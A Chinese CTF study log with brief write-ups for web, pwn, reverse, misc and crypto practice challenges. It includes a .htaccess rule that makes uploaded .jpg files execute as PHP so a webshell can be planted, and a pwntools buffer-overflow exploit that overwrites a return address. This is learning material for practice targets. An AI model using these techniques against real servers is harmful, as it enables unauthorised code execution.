1.25学习记录
web
[SWPUCTF 2021 新生赛]easyupload3.0
文件上传先传一个马,发现传不上去,结合题目提示,这个题采用.htaccess绕过的方式,首先构造.htaccess文件
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
.htaccess文件可以理解为一个解释器,可以将传进去的图片马改为php马,从而可以打通上传之后再传个图片马,之后就可以蚁剑了
pwn
[BUUCTF]bjdctf_2020_babystack
先用exe看一下
再用ida看在read处存在栈溢出,因为没有保护,直接打就可以了
exp:
from pwn import *
io=remote('node2.anna.nssctf.cn',28733)
io.sendlineafter("name:",b'100')
payload=b'a'*(0x10+8)+p64(0x4006E6)
io.sendlineafter("name?",payload)
io.interactive()
re
[SWPUCTF 2021 新生赛]非常简单的逻辑题
题目
flag = 'xxxxxxxxxxxxxxxxxxxxx'
s = 'wesyvbniazxchjko1973652048@$+-&*<>'
result = ''
for i in range(len(flag)):
s1 = ord(flag[i])//17
s2 = ord(flag[i])%17
result += s[(s1+i)%34]+s[-(s2+i+1)%34]
print(result)
# result = 'v0b9n1nkajz@j0c4jjo3oi1h1i937b395i5y5e0e$i'
题目的意思是在for循环中,对flag的ASCII值取整并赋给s1,对flag的ASCII值取余并赋给s2,在进行一个加密算法赋给result。
根据查询ai,分析思路:先在一定范围的ASCII值中,取整取余,分别赋给s1,s2
再定义一个函数命名为res,让其等于加密算法,此时的加密算法i已经不能再用i表示,替换成num
再写一个if判断,res与result的两两分组的值是否相等
exp:
flag = ''
s = 'wesyvbniazxchjko1973652048@$+-&*<>'
result = 'v0b9n1nkajz@j0c4jjo3oi1h1i937b395i5y5e0e$i'
res = ''
num = 0
for j in range(0,len(result),2):
for i in range(255):
s1 = i//17
s2 = i%17
res = s[(s1+num)%34]+s[-(s2+num+1)%34]
if res == result[j:j+2]:
flag += chr(i)
num += 1
print(flag)
misc
[NISACTF 2022]huaji?
用010查看附件发现是个jfif文件
再用随波逐流一把梭了发现隐藏文件,用binwalk分一下得到的jpg查看一下exif发现信息,试着用这串去解压缩包密码,发现不行,用随波逐流看一下再试试这个密码,发现可以了
crypto
[SWPUCTF 2021 新生赛]pigpig
这题更像是一个misc吧,主要认识猪圈加密,在随波逐流的224种编码图里有
题目附件很明显下面有符号照着图片手搓一下,得到whenthepigwanttoeat,加上框就可以了